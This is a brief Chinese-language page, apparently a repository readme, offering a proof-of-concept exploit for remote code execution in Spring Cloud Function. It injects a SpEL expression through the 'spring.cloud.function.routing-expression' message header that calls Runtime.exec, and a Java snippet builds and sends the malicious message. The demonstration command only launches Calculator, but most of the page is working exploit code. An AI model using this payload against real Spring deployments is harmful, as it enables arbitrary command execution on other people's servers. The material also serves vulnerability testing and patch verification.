Spring Cloud Function SPEL RCE 漏洞利用

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spring-spel-0day-poc

这是 spring-cloud/spring-cloud-function Remote Code Exploit POC

spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("open -acalculator.app")

POC：

Function function = functionCatalog.lookup(RoutingFunction.FUNCTION_NAME);Message<String> message = MessageBuilder.withPayload("hello")         .setHeader(FunctionProperties.PREFIX + ".routing-expression",             "T(java.lang.Runtime).getRuntime().exec(\"open -a calculator.app\")")         .build();function.apply(message);

388500Spring Cloud Function SPEL RCE 漏洞利用

Spring Cloud Function SPEL RCE 漏洞利用

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